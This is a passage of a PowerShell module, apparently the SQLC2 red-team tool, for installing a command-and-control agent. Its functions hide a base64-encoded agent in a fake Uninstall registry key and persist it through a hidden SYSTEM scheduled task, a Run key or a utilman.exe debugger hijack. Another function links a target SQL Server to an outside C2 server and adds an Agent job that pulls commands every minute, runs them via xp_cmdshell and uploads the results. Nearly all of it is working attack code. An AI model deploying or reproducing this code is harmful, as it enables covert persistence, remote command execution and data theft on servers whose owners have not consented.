768 | Connecting using current Windows credentials.
769 | PS C:\> Install-SQLC2AgentPs -Verbose -Type Task -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1
770 | #>
771 | [CmdletBinding()]
772 | Param(
773 |
774 | [Parameter(Mandatory = $true,
775 | ValueFromPipelineByPropertyName = $true,
776 | HelpMessage = 'C2 SQL Server instance to connection to.')]
777 | [string]$Instance,
778 |
779 | [Parameter(Mandatory = $true,
780 | HelpMessage = 'C2 SQL Server or domain account to authenticate with.')]
781 | [string]$Username,
782 |
783 | [Parameter(Mandatory = $true,
784 | HelpMessage = 'C2 SQL Server or domain account password to authenticate with.')]
785 | [string]$Password,
786 |
787 | [Parameter(Mandatory = $true,
788 | ValueFromPipeline = $true,
789 | ValueFromPipelineByPropertyName = $true,
790 | HelpMessage = 'Database containing target C2 table on C2 SQL Server.')]
791 | [string]$Database,
792 |
793 | [Parameter(Mandatory = $false,
794 | ValueFromPipeline = $true,
795 | ValueFromPipelineByPropertyName = $true,
796 | HelpMessage = 'Type of persistence method to use.')]
797 | [ValidateSet("Task","RegRun","RegUtilman")]
798 | [string]$Type = "Task",
799 |
800 | [Parameter(Mandatory = $false,
801 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
802 | [switch]$SuppressVerbose
803 | )
804 |
805 | Begin
806 | {
807 | }
808 |
809 | Process
810 | {
811 | # check for admin privs - pending
812 |
813 | # ------------------------------------
814 | # Gather SQLC2 functions
815 | # ------------------------------------
816 | Write-Verbose " - Creating SQLC2AgentPS command."
817 |
818 | # Setup script variable
819 | $psscript = ""
820 |
821 | Get-ChildItem -Path Function:\ |
822 | Where-Object name -like "*SQLC2*" |
823 | Where-Object -FilterScript {
824 | $_.name -notlike '*:*'
825 | } |
826 | Select-Object -Property name -ExpandProperty name |
827 | ForEach-Object -Process {
828 |
829 | # Get the function code
830 | $Definition = Get-Content -Path "function:\$_" -ErrorAction Stop
831 |
832 | # $Definition
833 | $CurrentFunction = "Function $_ `n { $Definition }"
834 |
835 | # Add function
836 | $psscript = "$psscript `n $CurrentFunction"
837 | }
838 |
839 | # ------------------------------------
840 | # Create SQLC2 command and store it
841 | # ------------------------------------
842 |
843 | # my command
844 | $SQLC2Command = "Get-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Execute"
845 |
846 | # Add custom command
847 | $psscript = "$psscript `n`n $SQLC2Command"
848 |
849 | # Encode command
850 | $psscript64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($psscript))
851 |
852 | # Write command to the registry and drop IoCs
853 | Write-Verbose " - Attempting to write SQLC2AgentPS payload to registry keys."
854 | if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\")
855 | {
856 | Write-Verbose " - Keys already exist."
857 | }else{
858 |
859 | # Write keys
860 | try{
861 | New-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ -Name SQLC2AgentPS –Force | Out-Null
862 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayName -Value "SQLC2AgentPS" –Force | Out-Null
863 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayIcon -Value "C:\Windows\System32\ComputerDefaults.exe" –Force | Out-Null
864 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Command -Value "$psscript64" –Force -PropertyType MultiString | Out-Null
865 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Publisher -Value "Bad Person" –Force | Out-Null
866 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallPath -Value "c:\windows\system32\calc.exe" –Force | Out-Null
867 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallString -Value "c:\windows\system32\calc.exe" –Force | Out-Null
868 | Write-Verbose " - Keys created."
869 | }catch{
870 | Write-Verbose " - Unable to write SQLC2AgentPS payload to the registry."
871 | return
872 | }
873 | }
874 |
875 | # PowerShell Arguments
876 | $PersistCommand = " -NoProfile -WindowStyle Hidden -C `"IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS' -Name Command).Command)))`""
877 |
878 | # ------------------------------------
879 | # Create scheduled task
880 | # ------------------------------------
881 | if($Type -eq "Task"){
882 | Write-Verbose " - Attempting to create SQLC2AgentPS scheduled task."
883 | if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 0)
884 | {
885 | try{
886 | $dt= ([DateTime]::Now)
887 | $timespan = $dt.AddYears(3) -$dt;
888 | $SystemSID = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::LocalSystemSid, $null);
889 | $SystemAccountName = $SystemSID.Translate([System.Security.Principal.NTAccount]).Value.ToString();
890 | $Action = New-ScheduledTaskAction –Execute "powershell.exe" -Argument $PersistCommand -WorkingDirectory "C:\windows\system32\WindowsPowerShell\v1.0\"
891 | $Trigger = New-ScheduledTaskTrigger -Once -At 12am -RandomDelay (New-TimeSpan -Minutes 1) -RepetitionDuration $timespan -RepetitionInterval (New-TimeSpan -Minutes 1)
892 | $Principal = New-ScheduledTaskPrincipal -UserID $SystemAccountName -LogonType ServiceAccount -RunLevel Highest
893 | $Settings = New-ScheduledTaskSettingsSet
894 | $Object = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings
895 | Register-ScheduledTask "SQLC2AgentPS" -InputObject $Object | Out-Null
896 | Write-Verbose " - Task created."
897 | }catch{
898 | Write-Verbose " - Failed to create SQLC2AgentPS scheduled task."
899 | }
900 | }else{
901 | Write-Verbose " - Task already exists."
902 | }
903 | }
904 |
905 | <#
906 | # ------------------------------------
907 | # Create WMI Subscription - pending updates
908 | # ------------------------------------
909 | # “SELECT * FROM __InstanceModificationEvent Where TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second=5”
910 | Write-Verbose " - Attempting to create SQLC2AgentPS WMI subscription."
911 |
912 | # Create filter (trigger)
913 | $Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
914 | EventNamespace = "root\cimv2"
915 | Name = "SQLC2AgentPS_Filter"
916 | Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
917 | QueryLanguage = "WQL"
918 | }
919 |
920 | # Create consumer (the command to run)
921 | $Command = "PowerShell.exe $PersistCommand"
922 | $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
923 | Name = "SQLC2AgentPS_Consumer"
924 | CommandLineTemplate = $Command
925 | }
926 |
927 | # Create binding (connecting the trigger and command to run)
928 | Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
929 | Name = "SQLC2AgentPS_Binding"
930 | Filter = $Filter
931 | Consumer = $Consumer
932 | }
933 | #>
934 |
935 | # ------------------------------------
936 | # Create registry run
937 | # ------------------------------------
938 | if($Type -eq "RegRun"){
939 | Write-Verbose " - Attempting to create SQLC2AgentPS registry run key."
940 | $Command = "PowerShell.exe $PersistCommand"
941 |
942 | # Check if property exists
943 | try{
944 | Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null
945 | Write-Verbose " - Key already exists."
946 | $RunCheck = 1
947 | }catch{
948 | $RunCheck = 0
949 | }
950 |
951 | # Add property
952 | if ($RunCheck -eq 0){
953 |
954 | try{
955 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -Value "$Command" –Force | Out-Null
956 | Write-Verbose " - Key created."
957 | }catch{
958 | Write-Verbose " - Failed to create registry run key."
959 | }
960 | }
961 | }
962 |
963 | # ------------------------------------
964 | # Create registry utilman.exe debugger
965 | # ------------------------------------
966 | if($Type -eq "RegUtilman"){
967 | Write-Verbose " - Attempting to create SQLC2AgentPS registry key for utilman.exe debugger."
968 | $Command = "PowerShell.exe $PersistCommand"
969 | if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\")
970 | {
971 | Write-Verbose " - Key already exists."
972 | }else{
973 |
974 | # Write the key
975 | try{
976 | New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" -Name UtilMan.exe –Force | Out-Null
977 | New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UtilMan.exe" -Name Debugger -Value "$Command" –Force | Out-Null
978 | Write-Verbose " - Key created."
979 | }catch{
980 | Write-Verbose " - Failed to create registry key for utilman.exe debugger."
981 | }
982 | }
983 | }
984 | }
985 |
986 | End
987 | {
988 | }
989 | }
990 |
991 |
992 | # ----------------------------------
993 | # Install-SQLC2AgentLink
994 | # ----------------------------------
995 | # Author: Scott Sutherland
996 | # Todo: Fix handling of multi-line command output.
997 | Function Install-SQLC2AgentLink
998 | {
999 | <#
1000 | .SYNOPSIS
1001 | This functions installs a C2 Agent on the target SQL Server by creating a server link
1002 | to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download
1003 | commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell.
1004 | This requires sysadmin privileges on the target server.
1005 | .PARAMETER Username
1006 | SQL Server or domain account to authenticate with.
1007 | .PARAMETER Password
1008 | SQL Server or domain account password to authenticate with.
1009 | .PARAMETER Instance
1010 | SQL Server instance to connection to.
1011 | .PARAMETER C2Username
1012 | SQL Server or domain account to authenticate with.
1013 | .PARAMETER C2Password
1014 | SQL Server or domain account password to authenticate with.
1015 | .PARAMETER C2Instance
1016 | SQL Server C2 instance to connection to.
1017 | .PARAMETER C2DatabaseName
1018 | Database name that contains target table on C2.
1019 | .EXAMPLE
1020 | Connecting using current Windows credentials.
1021 | PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1
1022 | .EXAMPLE
1023 | Connecting using sa SQL server login.
1024 | PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Pasword password! -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1
1025 | #>
1026 | [CmdletBinding()]
1027 | Param(
1028 | [Parameter(Mandatory = $false,
1029 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
1030 | [string]$Username,
1031 |
1032 | [Parameter(Mandatory = $false,
1033 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
1034 | [string]$Password,
1035 |
1036 | [Parameter(Mandatory = $false,
1037 | HelpMessage = 'Windows credentials.')]
1038 | [System.Management.Automation.PSCredential]
1039 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
1040 |
1041 | [Parameter(Mandatory = $false,
1042 | ValueFromPipelineByPropertyName = $true,
1043 | HelpMessage = 'SQL Server instance to connection to.')]
1044 | [string]$Instance,
1045 |
1046 | [Parameter(Mandatory = $false,
1047 | ValueFromPipelineByPropertyName = $true,
1048 | HelpMessage = 'C2 SQL Server instance to connection to.')]
1049 | [string]$C2Instance,
1050 |
1051 | [Parameter(Mandatory = $false,
1052 | HelpMessage = 'SQL Server login or domain account to the authenticate to the C2 SQL Server with.')]
1053 | [string]$C2Username,
1054 |
1055 | [Parameter(Mandatory = $false,
1056 | HelpMessage = 'SQL Server login domain account password to authenticate to the C2 SQL Server with.')]
1057 | [string]$C2Password,
1058 |
1059 | [Parameter(Mandatory = $false,
1060 | ValueFromPipeline = $true,
1061 | ValueFromPipelineByPropertyName = $true,
1062 | HelpMessage = 'Database containing target C2 table on C2 SQL Server.')]
1063 | [string]$C2Database,
1064 |
1065 | [Parameter(Mandatory = $false,
1066 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
1067 | [switch]$SuppressVerbose
1068 | )
1069 |
1070 | Begin
1071 | {
1072 | # Create data tables for output
1073 | $TblResults = New-Object -TypeName System.Data.DataTable
1074 | }
1075 |
1076 | Process
1077 | {
1078 | # Parse computer name from the instance
1079 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
1080 |
1081 | # Default connection to local default instance
1082 | if(-not $Instance)
1083 | {
1084 | $Instance = $env:COMPUTERNAME
1085 | }
1086 |
1087 | # Test connection to instance
1088 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
1089 | $_.Status -eq 'Accessible'
1090 | }
1091 |
1092 | # Test connection
1093 | if($TestConnection)
1094 | {
1095 | if( -not $SuppressVerbose)
1096 | {
1097 | Write-Verbose -Message "$Instance : Connection Success."
1098 | }
1099 | }
1100 | else
1101 | {
1102 | if( -not $SuppressVerbose)
1103 | {
1104 | Write-Verbose -Message "$Instance : Connection Failed."
1105 | }
1106 | return
1107 | }
1108 |
1109 | # ----------------------------
1110 | # Create SQL Server link
1111 | # ----------------------------
1112 |
1113 | # Generate random name for server link - needs to be random
1114 | $RandomLink = "SQLC2Server"
1115 |
1116 | # Create SQL Server link query
1117 | $Query = "
1118 | -- Create Server Link C2 Server
1119 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 0
1120 | EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLink',
1121 | @srvproduct=N'',
1122 | @provider=N'SQLNCLI',
1123 | @datasrc=N'$C2Instance',
1124 | @catalog=N'$C2Database'
1125 |
1126 | -- Associate credentials with the server link
1127 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
1128 | EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'$RandomLink',
1129 | @useself=N'False',
1130 | @locallogin=NULL,
1131 | @rmtuser=N'$C2Username',
1132 | @rmtpassword='$C2Password'
1133 |
1134 | -- Configure the server link
1135 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
1136 | EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'data access', @optvalue=N'true'
1137 |
1138 | --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
1139 | EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc', @optvalue=N'true'
1140 |
1141 | --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
1142 | EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc out', @optvalue=N'true'
1143 |
1144 | -- Verify addition of link
1145 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
1146 | SELECT 1
1147 | ELSE
1148 | SELECT 0
1149 | "
1150 |
1151 | # Run Query
1152 | Write-Verbose "$instance : Creating server link named '$RandomLink' as $C2Username to $C2Instance "
1153 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300
1154 |
1155 | # Verify link addition
1156 | if(($TblResults | Select Column1 -ExpandProperty Column1) -eq 1)
1157 | {
1158 | Write-Verbose "$instance : Confirmed server link named $RandomLink was added."
1159 | }else{
1160 | Write-Verbose "$instance : The server link could not be created."
1161 | return
1162 | }
1163 |
1164 | # -------------------------------
1165 | # Create SQL Server Agent Job
1166 | # -------------------------------
1167 |
1168 | # Generate random name for the SQL Agent Job
1169 | Write-Verbose "$instance : Creating SQL Agent Job on $Instance."
1170 | Write-Verbose "$instance : The agent will beacon to $C2Instance every minute."
1171 |
1172 | # Create SQL Server agent job
1173 | $Query = "
1174 |
1175 | /****** Object: Job [SQLC2 Agent Job] Script Date: 5/21/2018 12:23:40 PM ******/
1176 | BEGIN TRANSACTION
1177 | DECLARE @ReturnCode INT
1178 | SELECT @ReturnCode = 0
1179 | /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/21/2018 12:23:40 PM ******/
1180 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
1181 | BEGIN
1182 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
1183 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
1184 |
1185 | END
1186 |
1187 | DECLARE @jobId BINARY(16)
1188 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'SQLC2 Agent Job',
1189 | @enabled=1,
1190 | @notify_level_eventlog=0,
1191 | @notify_level_email=0,
1192 | @notify_level_netsend=0,
1193 | @notify_level_page=0,
1194 | @delete_level=0,
1195 | @description=N'No description available.',
1196 | @category_name=N'[Uncategorized (Local)]',
1197 | @owner_login_name=N'NT AUTHORITY\SYSTEM', @job_id = @jobId OUTPUT
1198 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
1199 | /****** Object: Step [Run command] Script Date: 5/21/2018 12:23:40 PM ******/
1200 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run command',
1201 | @step_id=1,
1202 | @cmdexec_success_code=0,
1203 | @on_success_action=1,
1204 | @on_success_step_id=0,
1205 | @on_fail_action=2,
1206 | @on_fail_step_id=0,
1207 | @retry_attempts=0,
1208 | @retry_interval=0,
1209 | @os_run_priority=0, @subsystem=N'TSQL',
1210 | @command=N'
1211 |
1212 | -- Query server link - Register the agent
1213 | IF not Exists (SELECT * FROM [$RandomLink].$C2Database.dbo.C2Agents WHERE servername = (select @@SERVERNAME))
1214 | INSERT [$RandomLink].$C2Database.dbo.C2Agents (servername,agentype) VALUES ((select @@SERVERNAME),''ServerLink'')
1215 | ELSE
1216 | UPDATE [$RandomLink].$C2Database.dbo.C2Agents SET lastcheckin = (select GETDATE ())
1217 | WHERE servername like (select @@SERVERNAME)
1218 |
1219 | -- Get the pending commands for this server from the C2 SQL Server
1220 | DECLARE @output TABLE (cid int,servername varchar(8000),command varchar(8000))
1221 | INSERT @output (cid,servername,command) SELECT cid,servername,command FROM [$RandomLink].$C2Database.dbo.C2Commands WHERE status like ''pending'' and servername like @@servername
1222 |
1223 | -- Run all the command for this server
1224 | WHILE (SELECT count(*) FROM @output) > 0
1225 | BEGIN
1226 |
1227 | -- Setup variables
1228 | DECLARE @CurrentCid varchar (8000) -- current cid
1229 | DECLARE @CurrentCmd varchar (8000) -- current command
1230 | DECLARE @xpoutput TABLE ([rid] int IDENTITY(1,1) PRIMARY KEY,result varchar(max)) -- xp_cmdshell output table
1231 | DECLARE @result varchar(8000) -- xp_cmdshell output value
1232 |
1233 | -- Get first command in the list - need to add cid
1234 | SELECT @CurrentCid = (SELECT TOP 1 cid FROM @output)
1235 | SELECT @CurrentCid as cid
1236 | SELECT @CurrentCmd = (SELECT TOP 1 command FROM @output)
1237 | SELECT @CurrentCmd as command
1238 |
1239 | -- Run the command - not command output break when multiline - need fix, and add cid
1240 | INSERT @xpoutput (result) exec master..xp_cmdshell @CurrentCmd
1241 | SET @result = (select top 1 result from @xpoutput)
1242 | select @result as result
1243 |
1244 | -- Upload results to C2 SQL Server - need to add cid
1245 | Update [$RandomLink].$C2Database.dbo.C2Commands set result = @result, status=''success''
1246 | WHERE servername like @@SERVERNAME and cid like @CurrentCid
1247 |
1248 | -- Clear the command result history
1249 | DELETE FROM @xpoutput
1250 |
1251 | -- Remove first command
1252 | DELETE TOP (1) FROM @output
1253 | END',
1254 | @database_name=N'master',
1255 | @flags=0
1256 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
1257 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
1258 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
1259 | EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'SQLC2 Agent Schedule',
1260 | @enabled=1,
1261 | @freq_type=4,
1262 | @freq_interval=1,
1263 | @freq_subday_type=4,
1264 | @freq_subday_interval=1,
1265 | @freq_relative_interval=0,
1266 | @freq_recurrence_factor=0,
1267 | @active_start_date=20180521,
1268 | @active_end_date=99991231,
1269 | @active_start_time=0,
1270 | @active_end_time=235959,
1271 | @schedule_uid=N'9eb66fdb-70d6-4ccf-8b60-a97431487e88'
1272 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
1273 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
1274 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
1275 | COMMIT TRANSACTION
1276 | GOTO EndSave
1277 | QuitWithRollback:
1278 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
1279 | EndSave:
1280 |
1281 | -- Script: Get-AgentJob.sql
1282 | -- Description: Return a list of agent jobs.
1283 | -- Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx
1284 |
1285 | SELECT SUSER_SNAME(owner_sid) as [JOB_OWNER],
1286 | job.job_id as [JOB_ID],
1287 | name as [JOB_NAME],
1288 | description as [JOB_DESCRIPTION],
1289 | step_name,
1290 | command,
1291 | enabled,
1292 | server,
1293 | database_name,
1294 | date_created
1295 | FROM [msdb].[dbo].[sysjobs] job
1296 | INNER JOIN [msdb].[dbo].[sysjobsteps] steps
1297 | ON job.job_id = steps.job_id
1298 | WHERE name like 'SQLC2 Agent Job'
1299 | ORDER BY JOB_OWNER,JOB_NAME"
1300 |
1301 | # Run Query
1302 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300
1303 |
1304 | # Verify job was added
1305 | if(($TblResults | Measure-Object | select count -ExpandProperty count) -eq 1)
1306 | {
1307 | Write-Verbose "$instance : Confirmed the job named 'SQLC2 Agent Job' was added."
1308 | }else{
1309 | Write-Verbose "$instance : The agent job could not be created or already exists."
1310 | Write-Verbose "$instance : You will have to remove the SQL Server link 'SQLC2Server."
1311 | return
1312 | }
1313 |
1314 | Write-Verbose "$instance : Done."
1315 | }
1316 |
1317 | End
1318 | {
1319 | # Return data
1320 | # $TblResults
1321 | }
1322 | }
1323 |
1324 |
1325 | # ----------------------------------
1326 | # Register-SQLC2Agent
1327 | # ----------------------------------
1328 | # Author: Scott Sutherland
1329 | Function Register-SQLC2Agent
1330 | {
1331 | <#
1332 | .SYNOPSIS
1333 | This command should be run on the c2 agent system so it can send a keep alive to the server.
1334 | .PARAMETER Username
1335 | SQL Server or domain account to authenticate with.
1336 | .PARAMETER Password
1337 | SQL Server or domain account password to authenticate with.
1338 | .PARAMETER Credential
1339 | SQL Server credential.
1340 | .PARAMETER Instance
1341 | SQL Server instance to connection to.
1342 | .PARAMETER DatabaseName
1343 | Database name that contains target table.
1344 | .PARAMETER Table
1345 | Table name to that contains target column.
1346 | .PARAMETER Column
1347 | Column that contains the TSQL command to run.
1348 | .EXAMPLE
1349 | PS C:\> Register-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1
1350 | PS C:\> Register-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
1351 | #>
1352 | [CmdletBinding()]
1353 | Param(
1354 | [Parameter(Mandatory = $false,
1355 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
1356 | [string]$Username,
1357 |
1358 | [Parameter(Mandatory = $false,
1359 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
1360 | [string]$Password,
1361 |
1362 | [Parameter(Mandatory = $false,
1363 | HelpMessage = 'Windows credentials.')]
1364 | [System.Management.Automation.PSCredential]
1365 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
1366 |
1367 | [Parameter(Mandatory = $false,
1368 | ValueFromPipelineByPropertyName = $true,
1369 | HelpMessage = 'SQL Server instance to connection to.')]
1370 | [string]$Instance,
1371 |
1372 | [Parameter(Mandatory = $false,
1373 | ValueFromPipeline = $true,
1374 | ValueFromPipelineByPropertyName = $true,
1375 | HelpMessage = 'Database containing target C2 table.')]
1376 | [string]$Database,
1377 |
1378 | [Parameter(Mandatory = $false,
1379 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
1380 | [switch]$SuppressVerbose
1381 | )
1382 |
1383 | Begin
1384 | {
1385 | # Create data tables for output
1386 | $TblResults = New-Object -TypeName System.Data.DataTable
1387 | $TblDatabases = New-Object -TypeName System.Data.DataTable
1388 | $null = $TblDatabases.Columns.Add('ServerName')
1389 | $null = $TblDatabases.Columns.Add('Command')
1390 | $null = $TblDatabases.Columns.Add('Status')
1391 | }
1392 |
1393 | Process
1394 | {
1395 | # Parse computer name from the instance
1396 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
1397 |
1398 | # Default connection to local default instance
1399 | if(-not $Instance)
1400 | {
1401 | $Instance = $env:COMPUTERNAME
1402 | }
1403 |
1404 | # Test connection to instance
1405 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
1406 | $_.Status -eq 'Accessible'
1407 | }
1408 | if($TestConnection)
1409 | {
1410 | if( -not $SuppressVerbose)
1411 | {
1412 | Write-Verbose -Message "$Instance : Connection Success."
1413 | }
1414 | }
1415 | else
1416 | {
1417 | if( -not $SuppressVerbose)
1418 | {
1419 | Write-Verbose -Message "$Instance : Connection Failed."
1420 | }
1421 | return
1422 | }
1423 |
1424 | # Setup query to grab commands
1425 | $Query = "
1426 | -- checkin as agent
1427 | IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = '$env:COMPUTERNAME')
1428 | INSERT dbo.C2Agents (servername,agentype) VALUES ('$env:COMPUTERNAME','PsProcess')
1429 | ELSE
1430 | UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ())
1431 | WHERE servername like '$env:COMPUTERNAME'"
1432 |
1433 | # Execute Query
1434 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
1435 |
1436 | Write-Verbose "$instance : $env:COMPUTERNAME agent registered/checked in."
1437 | }
1438 |
1439 | End
1440 | {
1441 | # Return data
1442 | $TblResults
1443 | }
1444 | }
1445 |
1446 |
1447 | # ----------------------------------
1448 | # Get-SQLC2Agent
1449 | # ----------------------------------
1450 | # Author: Scott Sutherland
1451 | Function Get-SQLC2Agent
1452 | {
1453 | <#
1454 | .SYNOPSIS
1455 | This command should be run against the C2 SQLserver and will return a list of agents.
1456 | .PARAMETER Username
1457 | SQL Server or domain account to authenticate with.
1458 | .PARAMETER Password
1459 | SQL Server or domain account password to authenticate with.
1460 | .PARAMETER Credential
1461 | SQL Server credential.
1462 | .PARAMETER Instance
1463 | SQL Server instance to connection to.
1464 | .PARAMETER DatabaseName
1465 | Database name that contains target table.
1466 | .PARAMETER Table
1467 | Table name to that contains target column.
1468 | .PARAMETER Column
1469 | Column that contains the TSQL command to run.
1470 | .EXAMPLE
1471 | PS C:\> Get-SQLC2Agent-Instance "SQLServer1\STANDARDDEV2014" -Database database1
1472 | PS C:\> Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
1473 | #>
1474 | [CmdletBinding()]
1475 | Param(
1476 | [Parameter(Mandatory = $false,
1477 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
1478 | [string]$Username,
1479 |
1480 | [Parameter(Mandatory = $false,
1481 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
1482 | [string]$Password,
1483 |
1484 | [Parameter(Mandatory = $false,
1485 | HelpMessage = 'Windows credentials.')]
1486 | [System.Management.Automation.PSCredential]
1487 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
1488 |
1489 | [Parameter(Mandatory = $false,
1490 | ValueFromPipelineByPropertyName = $true,
1491 | HelpMessage = 'SQL Server instance to connection to.')]
1492 | [string]$Instance,
1493 |
1494 | [Parameter(Mandatory = $false,
1495 | ValueFromPipeline = $true,
1496 | ValueFromPipelineByPropertyName = $true,
1497 | HelpMessage = 'Database containing target C2 table.')]
1498 | [string]$Database,
1499 |
1500 | [Parameter(Mandatory = $false,
1501 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
1502 | [switch]$SuppressVerbose
1503 | )
1504 |
1505 | Begin
1506 | {
1507 | # Create data tables for output
1508 | $TblResults = New-Object -TypeName System.Data.DataTable
1509 | }
1510 |
1511 | Process
1512 | {
1513 | # Parse computer name from the instance
1514 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
1515 |
1516 | # Default connection to local default instance
1517 | if(-not $Instance)
1518 | {
1519 | $Instance = $env:COMPUTERNAME
1520 | }
1521 |
1522 | # Test connection to instance
1523 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
1524 | $_.Status -eq 'Accessible'
1525 | }
1526 | if($TestConnection)
1527 | {
